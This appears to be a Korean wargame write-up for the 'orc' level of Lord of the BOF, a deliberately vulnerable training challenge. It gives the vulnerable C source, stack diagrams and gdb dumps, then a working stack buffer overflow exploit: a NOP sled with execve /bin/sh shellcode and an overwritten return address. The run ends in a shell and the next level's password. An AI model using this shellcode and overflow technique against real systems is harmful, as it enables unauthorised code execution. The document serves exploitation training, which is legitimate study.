[redhat-lob] (4) orc

Source Code

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

Vulnerabliity Vector

main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.

==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================

Buffer Overflow

Overflow condition

• environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
• argv[1]의 47번째 문자열이 "\xbf"이어야 함

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./orc `python -c 'print "a"*47'`

stack is still your friend.

$ ./orc `python -c 'print "a"*47+"\xbf"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault

exploit

argv[1]이 저장되는 주소 확인

앞의 조건에 argv[1][47]값이 "\xbf"인지 확인하기 때문에, gdb를 이용하여 argv[1]이 저장되는 주소(buffer)를 찾는다.

(gdb) b *main
Breakpoint 1 at 0x8048500

(gdb)
Note: breakpoint 1 also set at pc 0x8048500.
Breakpoint 2 at 0x8048500

(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/goblin/orc1 `python -c 'print "a"*47+"\xbf"'`

Breakpoint 1, 0x8048500 in main ()

(gdb) stepi
0x8048501 in main ()

(gdb) i reg $esp
esp            0xbffffaf8       -1073743112

(gdb) i reg $ebp
ebp            0xbffffb18       -1073743080

(gdb) x/100x $esp

==========================================================================
0xbffffaf8:     0xbffffb18      0x400309cb      0x00000002      0xbffffb44
0xbffffb08:     0xbffffb50      0x40013868      0x00000002      0x08048450
0xbffffb18:     0x00000000      0x08048471      0x08048500      0x00000002
0xbffffb28:     0xbffffb44      0x08048390      0x0804860c      0x4000ae60
0xbffffb38:     0xbffffb3c      0x40013e90      0x00000002      0xbffffc37
0xbffffb48:     0xbffffc49      0x00000000      0xbffffc7a      0xbffffc9c
0xbffffb58:     0xbffffca6      0xbffffcb4      0xbffffcd3      0xbffffce2
0xbffffb68:     0xbffffcfb      0xbffffd17      0xbffffd36      0xbffffd41
0xbffffb78:     0xbffffd4f      0xbffffd91      0xbffffda3      0xbffffdb8
0xbffffb88:     0xbffffdc8      0xbffffdd4      0xbffffdf2      0xbffffdfd
0xbffffb98:     0xbffffe0e      0xbffffe1f      0xbffffe27      0x00000000
0xbffffba8:     0x00000003      0x08048034      0x00000004      0x00000020
0xbffffbb8:     0x00000005      0x00000006      0x00000006      0x00001000
0xbffffbc8:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffbd8:     0x00000009      0x08048450      0x0000000b      0x000001f7
0xbffffbe8:     0x0000000c      0x000001f7      0x0000000d      0x000001f7
0xbffffbf8:     0x0000000e      0x000001f7      0x00000010      0x0fabfbff
0xbffffc08:     0x0000000f      0xbffffc32      0x00000000      0x00000000
0xbffffc18:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc28:     0x00000000      0x00000000      0x36690000      0x2f003638
0xbffffc38:     0x656d6f68      0x626f672f      0x2f6e696c      0x3163726f
0xbffffc48:     0x61616100      0x61616161      0x61616161      0x61616161
                      ^               ^               ^ argv[1] = 0xbffffc51
0xbffffc58:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffffc68:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffffc78:     0x454c00bf      0x504f5353      0x7c3d4e45      0x7273752f
==========================================================================

argv[1] pointers 쉘코드 실행

==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================

오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. buffer의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.

$ ./orc `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x4c\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀L▒▒▒
Segmentation fault

$ ./orc `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x51\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀Q▒▒▒
bash$ whoami
orc
bash$ my-pass
euid = 504
cantata